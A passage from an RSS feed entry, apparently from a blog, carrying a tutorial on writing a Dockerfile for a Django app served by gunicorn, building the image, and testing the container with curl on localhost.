data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── Dockerfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── myDockerDjangoApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── manage.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── myDockerDjangoApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── settings.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;write-a-dockerfile-from-scratch&#34;&gt;Write a Dockerfile from scratch&lt;/h2&gt;&#xA;&lt;p&gt;With all these files we are going to create a custom image for our Dockerfile. Open the Dockerfile file with your favorite text editor and let&amp;rsquo;s write the following content.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll explain below what each step does.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; python:3.6&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ENV&lt;/span&gt; PYTHONUNBUFFERED &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ADD&lt;/span&gt; . /app/&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;WORKDIR&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; /app/myDockerDjangoApp&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RUN&lt;/span&gt; pip install -r /app/requirements.txt&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;EXPOSE&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; 8000&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ENV&lt;/span&gt; PORT &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CMD&lt;/span&gt; [&lt;span style=&#34;color:#ff5c57&#34;&gt;“gunicorn”&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;“myDockerDjangoApp.wsgi”&lt;/span&gt;]&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;understand-a-dockerfile-structure&#34;&gt;Understand a Dockerfile structure&lt;/h3&gt;&#xA;&lt;p&gt;As you can see, a Dockerfile is nothing more than a series of sequential instructions, each instruction has a specific function:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FROM: Specifies the image from which we start, there are a series of images available for multiple technologies, such as Python, Javascript, Alpine Linux, among others, check Dockerhub.&lt;/li&gt;&#xA;&lt;li&gt;ENV: Creates environment variables, first the variable name and then its value.&lt;/li&gt;&#xA;&lt;li&gt;ADD: Adds files from the environment to the target Docker image. A dot indicates all files.&lt;/li&gt;&#xA;&lt;li&gt;COPY: Same as above, but supports urls and compressed files.&lt;/li&gt;&#xA;&lt;li&gt;WORKDIR: Sets the working directory from which commands will be executed.&lt;/li&gt;&#xA;&lt;li&gt;RUN: Runs a command only once when compiling the image.&lt;/li&gt;&#xA;&lt;li&gt;EXPOSE: Exposes a port.&lt;/li&gt;&#xA;&lt;li&gt;CMD: Execute a command when starting the container.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Now let&amp;rsquo;s review the image we created above.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;FROM python:3.6: All Dockerfiles need an image to start from&lt;/strong&gt;, in this case that image is python:3.6.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ENV PYTHONBUFFERED 1:&lt;/strong&gt; This environmental variable allows us to read the Python logs in our terminal.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ADD . /app/:&lt;/strong&gt; Adds all files in the current folder to the /app/ folder. Also serves COPY, the difference is that ADD accepts compressed files or a url.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;WORKDIR /app/myDockerDjangoApp:&lt;/strong&gt; Sets the /app/myDockerDjangoApp folder as the base folder to use when running commands with CMD, RUN, ADD or COPY.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;RUN pip install -r /app/requirements.txt:&lt;/strong&gt; RUN allows to execute commands, which are executed when the image is compiled and saved as a new layer in the image. We will use RUN to install all the dependencies we specified in the requirments.txt file (Django and Gunicorn in this case).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EXPOSE 8000:&lt;/strong&gt; Expose port 8000 to the outside.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ENV PORT 8000&lt;/strong&gt;: Creates an environment variable called PORT with the value of 8000. This will be used to access the port.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CMD [“gunicorn”, “myDockerDjangoApp.wsgi”]:&lt;/strong&gt; CMD executes a command when starting a container from an image, the commands and arguments are separated as if they were a Python list. In this case, as I mentioned above, gunicorn just needs to know where the wsgi file that django automatically generated is.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;difference-between-run-and-cmd-in-docker&#34;&gt;Difference between RUN and CMD in Docker&lt;/h3&gt;&#xA;&lt;p&gt;The RUN directive allows you to execute commands inside a Docker image, &lt;strong&gt;these commands are executed only once when the image is compiled&lt;/strong&gt; and are saved in your Docker image, as a new layer. RUN is ideal for permanent changes that affect the image, such as installing packages.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RUN&lt;/span&gt; pip install -r requirements.txt&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;CMD allows you to run &lt;strong&gt;one command once the container boots&lt;/strong&gt;, however any changes in CMD require you to recompile the image. This makes it ideal for booting web servers, or services.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CMD&lt;/span&gt; [&lt;span style=&#34;color:#ff5c57&#34;&gt;“gunicorn”&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;“--bind”&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;“:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;”&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;“--workers”&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;“&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;”&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;“project.wsgi”&lt;/span&gt;]&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;order-is-important-in-a-dockerfile&#34;&gt;Order is important in a Dockerfile&lt;/h2&gt;&#xA;&lt;p&gt;Compiling a Dockerfile is a sequential process, each step creates an intermediate image that Docker can cache.&lt;/p&gt;&#xA;&lt;p&gt;Docker uses the stored cache to avoid having to repeat unnecessary steps when a change occurs in a Dockerfile, i.e. if you make a change in one of the steps, Docker will try to use its cached data to avoid repeating all the previous steps.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, consider the order in which you perform your instructions to avoid costly image compilations in time and resources.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Tip: Place package installations or processes that are unlikely to change first, and place those steps that change frequently, such as your application code, at the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sending build context to Docker daemon   12.8kB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 1/8 : FROM python:3.6&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 46ff56815c7c&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 2/8 : ENV PYTHONUNBUFFERED &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; c55438b3c6a0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 3/8 : ADD . /app/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; ecedebf26f36&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 4/8 : WORKDIR /app/myDockerDjangoApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 83b5ccaa1cc6&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 5/8 : RUN pip install -r /app/requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 6cb2683c8fa8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 6/8 : EXPOSE &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 744b46577c43&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 7/8 : ENV PORT &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 03111761fb54&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Step 8/8 : CMD &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gunicorn&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myDockerDjangoApp.wsgi&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; Using cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ---&amp;gt; 6e3ffe358338&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully built 6e3ffe358338&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully tagged djangocontainer:0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;compile-a-dockerfile-using-docker-build&#34;&gt;Compile a Dockerfile using docker build&lt;/h2&gt;&#xA;&lt;p&gt;To compile a Dockerfile and create a custom image created from the contents of our file, just run the &lt;em&gt;docker build&lt;/em&gt; command and set the location of the Dockerfile. &lt;em&gt;Docker build&lt;/em&gt; allows us to specify a tagname and a version, separated by a colon “:”, using the &lt;em&gt;tag&lt;/em&gt; tag. Note that the colon at the end is not a blob on your screen or a bug, but refers to the folder we are in.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker build --tag djangocontainer:0.1 .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see that our image has been created by running the command &lt;em&gt;docker images&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker images&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REPOSITORY TAG IMAGE ID CREATED SIZE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;djangocontainer 0.1 6e3ffe358338 About a minute ago 912MB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have the image we just need to run it. For this example we will bind our port 8000 to port 8000 of our container, run our container in the background and name it &lt;em&gt;test_container&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -p 8000:8000 -d --name test_container djangocontainer:0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now comes the best part! The moment where we find out if our code works or we made a complete mess. Let&amp;rsquo;s make a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;HTTP request using curl&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;!doctype html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;html&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;head&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;meta &lt;span style=&#34;color:#ff5c57&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;“utf-8”&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we open our browser and enter our localhost on port 8000 we will see the Django rocket indicating that everything worked perfectly. Gunicorn is serving our Django application on port 8000, which we can access through our port of the same number.&lt;/p&gt;&#xA;&lt;p&gt;The next step here is to link many Dockerfiles to create a more complex application, for that we could use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/get-to-know-the-basic-docker-compose-commands/&#34;&gt;Docker-compose (best for simple projects)&lt;/a&gt;&#xA; or Kubernetes (For more complex projects, and probably an overkill for your business idea)&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/images/djangoRocketNoCursor.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/images/djangoRocketNoCursor.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django installation success page, shows welcome message and links to documentation&#34; width=&#34;735&#34; height=&#34;602&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In the previous post &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;I explained the most common Docker commands, run, exec, pull, etc&lt;/a&gt;&#xA;. Up to this point everything has been done manually, through the terminal, but what if we want a way to save our process transformations to an image for easy sharing or to keep track in git. Dockerfiles allow just that and make it easy to customize an image as a series of steps to take to get our system to the point we want it to be.&lt;/p&gt;</summary>
    </item>
    
    <item>
